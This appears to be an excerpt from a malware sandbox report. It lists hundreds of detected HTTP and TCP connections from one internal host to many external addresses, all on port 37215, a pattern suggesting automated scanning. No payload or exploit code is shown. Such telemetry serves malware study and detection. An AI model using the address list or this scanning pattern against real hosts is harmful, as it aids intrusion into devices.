Source: unknown	Network traffic detected: HTTP traffic on port 45892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58266 -> 37215

Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.15.93.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.210.224.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.159.203.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.196.248.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.14.30.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.41.97.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.222.154.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.28.132.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.251.188.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.229.174.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.186.113.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.250.208.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.70.160.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.25.80.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.190.43.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.215.110.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.32.208.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.143.240.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.134.114.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.232.141.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.206.127.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.93.105.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.38.234.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.210.246.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.134.202.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.153.173.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.165.32.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.20.56.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.56.120.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.115.207.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.91.240.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.85.4.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.2.135.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.101.2.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.87.179.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.30.122.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.141.222.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.150.194.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.195.101.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.120.21.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.135.156.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.1.18.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.177.189.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.253.77.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.114.70.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.121.223.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.124.85.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.204.88.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.131.190.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.98.100.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.149.64.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.119.67.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.239.110.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.240.101.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.250.127.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.219.15.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.84.172.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.57.49.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.36.138.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.95.129.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.193.251.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.229.77.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.55.246.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.186.122.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.100.124.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.114.221.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.117.192.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.252.3.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.47.51.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.74.198.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.217.78.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.115.243.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.245.216.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.91.135.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.110.101.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.48.204.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.100.230.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.205.61.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.179.84.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.215.1.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.154.15.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.198.139.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.224.145.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.181.185.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.214.47.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.147.172.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.26.125.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.73.88.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.95.183.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.199.186.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.162.130.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.98.209.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.221.209.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.20.186.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.219.207.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.220.153.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.211.43.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.192.119.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.7.152.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.232.166.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.2.193.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.222.207.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.142.150.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.236.183.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.97.202.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.137.30.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.160.108.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.168.122.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.32.8.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.242.44.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.214.77.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.173.205.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.109.251.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.127.235.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.60.231.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.179.125.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.96.69.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.0.25.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.123.3.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.255.105.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.237.207.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.217.58.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.249.73.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.242.214.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.216.14.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.248.124.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.45.158.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.232.72.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.157.65.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.164.33.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.65.117.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.194.55.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.252.224.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.128.249.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.226.186.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.103.106.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.196.223.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.130.167.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.215.219.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.254.211.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.56.77.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.2.27.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.202.21.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.200.9.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.15.59.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.246.83.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.148.206.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.176.49.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.189.0.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.211.116.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.83.65.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.178.71.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.234.47.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.2.83.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.214.236.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.166.254.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.67.88.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.226.64.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.72.134.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.18.7.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.29.54.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.246.112.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.224.108.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.201.65.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.55.145.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.94.169.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.90.81.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.178.10.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.208.7.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.126.22.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.5.26.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.119.28.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.157.163.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.98.52.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.210.60.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.1.103.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.76.34.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.154.154.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.116.89.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.144.64.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.141.227.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.79.212.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.45.200.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.91.92.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.203.119.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.227.25.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.185.61.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.103.126.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.205.82.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.236.159.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.192.52.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.97.228.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.57.48.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.51.2.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.248.203.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.172.194.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.83.132.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.174.189.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.88.215.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.147.43.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.235.245.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.120.116.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.206.30.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.33.189.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.151.82.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.245.70.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.55.114.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.192.229.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.214.177.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.201.27.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.145.4.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.242.127.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.150.151.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.99.183.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.128.124.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.164.50.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.228.254.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.203.152.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.44.49.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.75.15.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.152.242.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.101.65.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.48.195.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.177.245.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.84.129.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.151.23.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.183.35.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.238.82.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.1.241.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.149.41.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.120.237.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.230.63.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.241.190.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.251.95.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.47.4.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.212.104.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.252.199.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.202.58.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.171.95.86:37215
